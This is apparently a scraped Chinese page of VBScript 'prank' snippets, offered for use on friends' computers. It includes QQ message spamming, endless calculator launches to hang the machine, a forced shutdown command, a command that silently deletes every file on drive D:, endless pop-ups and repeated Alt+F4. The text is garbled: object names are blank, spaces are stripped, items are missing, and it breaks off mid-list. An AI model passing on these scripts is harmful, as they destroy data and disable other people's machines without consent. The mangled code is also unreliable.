vbs整人代码.doc

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).OnErrorResumeNextDimwsh,yesetwsh=createobject("")fori=("与xx聊天中")"^v""%s"、domsgbox"XXX"loop三、打开无数个计算器,直到死机setwsh=createobject("")"calc"loop四、直接关机dimWSHshellsetWSHshell=("")"shutdown-f-s-t00",0,true五、删除D:\所有文件dimWSHshellsetWSHshell=("")"cmd/c""deld:\*.*/f/q/s""",0,true六、不断弹出窗口while(1)msgbox"哈哈你被耍了!"loop七、不断按下alt+f4(开什么都关闭……)dimWSHshellsetWSHshell=("")while(1)"%{F4}"loop九、("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)("你是可爱的小朋吗?")("哈,我想你拉,这你都不知道吗?")("怎么才来,说~是不是不关心我")("哼,我生气拉,等你这么久,心都凉啦。")("小强很生气,后果很严重哦。")("嘿嘿!你也会很惨滴哦")("是不是想清除我?")("那你要点上50下哦,不过会给你惊喜滴")("还剩49下,快点点哦")("还剩48下,快点,小笨蛋!")("还剩47下对,就这样快点点!")("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")("还剩45下,记得要快哦!")("还剩43下")("还剩42下")("还剩41下")("还剩40下")("还剩39下")("还剩38下")("还剩37下")("还剩36下")("还剩35下")("还剩34下")("还剩33下")("还剩32下")W